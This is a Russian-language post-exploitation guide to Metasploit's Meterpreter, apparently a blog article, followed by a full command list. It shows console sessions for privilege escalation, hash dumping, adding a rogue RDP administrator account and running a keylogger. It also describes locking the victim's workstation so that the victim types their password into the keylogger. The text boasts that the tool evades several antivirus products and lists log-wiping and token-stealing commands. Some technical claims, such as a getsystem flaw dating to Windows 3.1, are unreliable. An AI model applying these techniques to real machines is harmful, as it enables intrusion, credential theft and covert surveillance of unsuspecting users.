- Секреты Meterpreter Payload
- Полный список основных команд Meterpreter
- Список команд Meterpreter
- Основные команды Meterpreter
- Команды файловой системы
- Сетевые команды Meterpreter
- Системные команды Meterpreter
- Команды пользовательского интерфейса
- Команды повышения привилегий
- Команды дампа пароля
- Команды Timestomp
- Заключение
Секреты Meterpreter Payload
Meterpreter — расширенная многофункциональная начинка (Payload), которая может быть динамически расширена во время выполнения. В нормальных условиях, это означает, что это обеспечивает Вас основной оболочкой и позволяет Вам добавлять новые особенности к ней по мере необходимости.
Первым, наиболее частым действием является внедрение в процесс explorer’a. Эту возможность предоставляет команда migrate:
meterpreter > migrate 1888 #1888 — PID процесса, вывести список процессов — ps
[*] Migrating to 1888.
[*] Migration completed successfully.
Далее, как правило, выполняется повышение привилегий до системных. Для этого существует команда getsystem, использующая уязвимость, которая была обнаружена во всех версиях Windows, начиная с версии 3.1:
meterpreter > getsystem
. got system (via technique 1).
Сбор информации
Следующим действием, после подключения к машине, является сбор информации, meterpreter эту процедуру упростил, благодаря наличию скрипта winenum:
meterpreter > run winenum
[*] Running Windows Local Enumerion Meterpreter Script
[*] New session on 192.168.ххх.ххх:1197.
[*] Saving general report to /root/.msf4/logs/scripts/winenum/MICROSOF-30B51A_20111024.0931/MICROSOF-30B51A_20111024.0931.txt
[*] Output of each individual command is saved to /root/.msf4/logs/scripts/winenum/MICROSOF-30B51A_20111024.0931
[*] Checking if MICROSOF-30B51A is a Virtual Machine .
[*] UAC is Disabled
[*] Running Command List .
[*] running command net view
[*] running command netstat -ns
[*] running command net accounts
[*] running command netstat -vb
[*] running command route print
[*] running command netstat -nao
[*] running command ipconfig /all
[*] running command arp -a
[*] running command cmd.exe /c set
[*] running command ipconfig /displaydns
[*] running command tasklist /svc
[*] running command netsh firewall show config
[*] running command net group administrators
[*] running command net view /domain
[*] running command net localgroup administrators
[*] running command net localgroup
[*] running command net user
[*] running command net group
[*] running command net session
[*] running command net share
[*] running command gpresult /SCOPE USER /Z
[*] running command gpresult /SCOPE COMPUTER /Z
[*] Running WMIC Commands .
[*] running command wmic netlogin get name,lastlogon,badpasswordcount
[*] running command wmic nteventlog get path,filename,writeable
[*] running command wmic netclient list brief
[*] running command wmic share get name,path
[*] running command wmic logicaldisk get description,filesystem,name,size
[*] running command wmic volume list brief
[*] running command wmic netuse get name,username,connectiontype,localname
[*] running command wmic service list brief
[*] running command wmic group list
[*] running command wmic useraccount list
[*] running command wmic qfe
[*] running command wmic product get name,version
[*] running command wmic rdtoggle list
[*] running command wmic startup list full
[*] Extracting software list from registry
[*] Dumping password hashes.
[*] Getting Tokens.
[*] All tokens have been processed
[*] Done!
Мы получаем хэш паролей, настройки системы, список пользователей и многое другое.
Есть и еще один скрипт, который собирает более обширную информацию, включая дамп системного реестра, однако иногда с ним возникают проблемы, поэтому приводить его я не буду. Называется этот скрипт — scraper.
Удаленный рабочий стол
Интересным для нас, является получение доступа к удаленному рабочему столу. Остановимся на этом вопросе подробнее, так как все средства для этого у нас есть. Скрипт, выполняющий все настройки подключения называется getgui. Для того, чтобы активировать использование протокола RDP на удаленной машине используется параметр -e:
meterpreter > run getgui -e
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*] RDP is already enabled
[*] Setting Terminal Services service startup mode
[*] Terminal Services service is already set to auto
[*] Opening port in local firewall if necessary
[*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20111024.1517.rc
Далее нам потребуется добавить нового пользователя:
meterpreter > run getgui -u NAME -p PASSWORD
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Setting user account for logon
[*] Adding User: NAME with Password: PASSWORD
[*] Adding User: NAME to local group ‘������������ ���������� �������� �����’
[*] Adding User: NAME to local group ‘��������������’
[*] You can now login with the created user
[*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20111024.1642.rc
Где NAME — имя пользователя, PASSWORD — пароль.
Получить шелл
Если нужно получить шелл на удаленной машине, выполняется одноименная команда shell. Либо вручную запустить cmd.
Операции с оборудованием
Если вам нужно отключить клавиатуру или мышь, используется команда uictl. Принимает она следующие параметры:
uictl [enable/disable] Meterpreter kali linux команды
Enable — включает; disable — отключает.
meterpreter > uictl disable mouse #Отключаем мышь
Disabling mouse.
meterpreter > uictl enable mouse #Включаем мышь
Enabling mouse.
meterpreter > uictl disable keyboard #Отключаем клавиатуру
Disabling keyboard.
meterpreter > uictl enable keyboard #Включаем мышь
Enabling keyboard.
Кейлогер
Встроенных кейлогера аж два. Один — просто набор команд: keyscan_start — запускает кейлогер; keyscan_dump — выводит полученный результат; keyscan_stop — останавливает работу кейлогера.
Есть также скрипт под названием keylogrecorder. Он более эффективен чем keyscan, и более того, записывает результат в лог:
meterpreter > bgrun keylogrecorder
[*] Executed Meterpreter with Job ID 2
meterpreter > [*] Starting the keystroke sniffer.
[*] Keystrokes being saved in to /root/.msf4/logs/scripts/keylogrecorder/192.168.ххх.ххх_20111024.4455.txt #адрес лога
[*] Recording
meterpreter > bgkill 2 #отключаем кейлогер
[*] Killing background job 2.
Ruby
Meterpreter также предоставляет выполнение сценариев Ruby. Например, мы можем вывести окно с сообщением (MessageBox) или заблокировать рабочую станцию. Для этого нужно сначала подключить railgun:
meterpreter > irb
> client.core.use(«railgun»)
=> true
Затем, чтобы заблокировать рабочую станцию:
> client.railgun.user32.LockWorkstation() #блокируем
=> 0. «return» => true> #все в порядке
Это часто используется, чтобы получить пароль пользователя в связке с кейлогером:
meterpreter > bgrun keylogrecorder #запускаем кейлогер
[*] Executed Meterpreter with Job ID 2
meterpreter > [*] Starting the keystroke sniffer.
[*] Keystrokes being saved in to /root/.msf4/logs/scripts/keylogrecorder/192.168.2.27_20111024.4455.txt #адрес лога
[*] Recording
meterpreter > irb
> client.core.use(«railgun») #подключаем railgun
=> true
> client.railgun.user32.LockWorkstation() #блокируем рабочую станцию
=> 0. «return» => true>
Пользователь, сославшись на глючность винды введет пароль, и мы увидим его в логе кейлогера.
Вывести диалог с сообщением также просто:
> client.railgun.user32.MessageBoxA(0, «Текст сообщения», «Заголовок», «MB_OK»)
Подробнее о выводе таких сообщений можете почитать в MSDN.
Есть еще интересная команда screenshot. С помощью нее вы можете сделать скриншот на удаленной машине. Если вы работаете под Линукс, запуск Metasploit должен быть выполнен под root, так как скриншот сохраняется в папку msf3.
Если вам нужно выключить или перезагрузить машину, для этого есть одноименные команды shutdown и reboot. Если shutdown или reboot не сработал, такое бывает, убейте процесс lsass.exe, тогда система все равно перезагрузится через минуту:
meterpreter > kill 866 #866 — PID процесса, используйте ps, чтобы узнать идентификатор
Рассмотрим еще один момент. Я тестровал Meterpreter на машинах с разными антивирусами и фаерволами, в частности Outpost, Dr. Web и KIS. Проводилась полная проверка, включались режимы повышенной защищенности, но несмотря на это meterpreter так и остался незамеченным.
Заключение
Meterpreter — прекрасный инструмент для удаленного управления, имеющий в дополнение к большому количеству встроенных инструментов возможность расширения функционала. При этом всем он абсолютно незаметен для большинства антивирусов (все не проверял, не знаю). Есть конечно отдельные инструменты для его обнаружения, например Symantec его выпустила и его можно скачать, но большинство рядовых пользователей не в курсе что такое meterpreter и чем это грозит, поэтому, ИМХО, скачивать отдельный продукт для его обнаружения не будут.
Полный список основных команд Meterpreter
Мы уже рассказывали в большой подробном гайде, про использование Metasploit. Сегодня продолжим тему пентеста и поговорим о Meterpreter. Народ просил выложить полный список команд Meterpreter. Просили? Получайте! Ниже список всех команд Meterpreter. Поехали!
Список команд Meterpreter
Можно сказать, что Meterpreter — это Linux-терминал на компьютере жертвы. Таким образом, многие из основных команд Linux можно использовать в Meterpreter, даже, если касается других операционных систем Windows и т.д.
Для вашего удобства я разделил список команд на главы.
Основные команды Meterpreter
Вот некоторые основные и наиболее важные команды Meterpreter.
- ? — меню помощи
- background — переносит текущий сеанс в фоновый режим.
- bgkill — убивает фоновый скрипт meterpreter.
- bglist — отображает список всех запущенных фоновых скриптов.
- bgrun — запускает скрипт как фоновый поток.
- channel — отображает активные каналы.
- close — закрывает канал.
- exit — завершает сеанс работы с meterpreter.
- help — меню справки.
- interact — взаимодействует с каналом.
- irb — перейти в режим сценария Ruby.
- migrate — перемещает активный процесс на указанный PID.
- quit — завершает сеанс meterpreter.
- read — читает данные из канала.
- run — выполняет созданный после него скрипт meterpreter.
- use — загружает расширение meterpreter.
- write — записывает данные в канал.
Команды файловой системы
- cat — чтение и вывод содержимого файла.
- cd — перейти в папку.
- del — удалить файл.
- download — скачать файл из системы на свою машину.
- edit — редактировать файл с помощью vim.
- getlwd — показать локальный каталог.
- getwd — показать рабочий каталог.
- lcd — сменить локальный каталог.
- lpwd — отобразить путь локальной директории.
- ls — список файлов в текущем каталоге.
- mkdir — создать каталог.
- pwd — отобразить путь от корневого каталога к текущему рабочему каталогу.
- rm — удалить файл.
- rmdir — удалить каталог у жертвы.
- upload — загрузить файл из своей системы на целевую машину.
Сетевые команды Meterpreter
- ipconfig — отображает сетевые интерфейсы с ключевой информацией, включая IP-адрес и т. д.
- portfwd — перенаправляет порт целевой системы удаленной службе.
- route — просмотр или изменение таблицы маршрутизации жертвы.
Системные команды Meterpreter
- clearav — очищает журналы событий на компьютере жертвы.
- execute — выполняет команду.
- getpid — получает идентификатор текущего процесса (PID).
- getprivs — получает максимально возможные привилегий.
- getuid — получить пользователя, от имени которого запущен сервер.
- kill — завершить процесс, обозначенный PID.
- ps — список запущенных процессов.
- reboot — перезагружает компьютер жертвы.
- reg — взаимодействовать с реестром жертвы.
- rev2self — вызывает RevertToSelf () на машине жертвы.
- shell — открывает командную оболочку на машине жертвы.
- shutdown — выключает компьютер жертвы.
- steal_token — пытается украсть токен указанного (PID) процесса.
- sysinfo — получает подробную информацию о компьютере жертвы, такую как ОС и название компьютера.
Команды пользовательского интерфейса
- enumdesktops — список всех доступных рабочих столов.
- getdesktop — получить текущий рабочий стол meterpreter.
- idletime — проверяет, сколько времени система жертвы простаивала.
- keyscan_dump — выгружает содержимое программного обеспечения кейлоггера.
- keyscan_start — запускает программный кейлоггер, когда он связан с процессом, таким как Word или браузер.
- keyscan_stop — останавливает программный кейлоггер.
- screenshot — делает снимок экрана рабочего стола meterpreter.
- set_desktop — изменяет рабочий стол meterpreter.
- uictl — позволяет управлять некоторыми компонентами пользовательского интерфейса.
Команды повышения привилегий
- getsystem — использует 15 встроенных методов для получения привилегий системного администратора.
Команды дампа пароля
Обратите внимание, что hashdump часто отключает программное обеспечение AV, но теперь есть два более скрытых сценария: «запустить hashdump» и «запустить smart_hashdump».
Команды Timestomp
Заключение
Рекомендую добавиуть статью в закладки, так как запомнить все это не сможет даже Вассерман.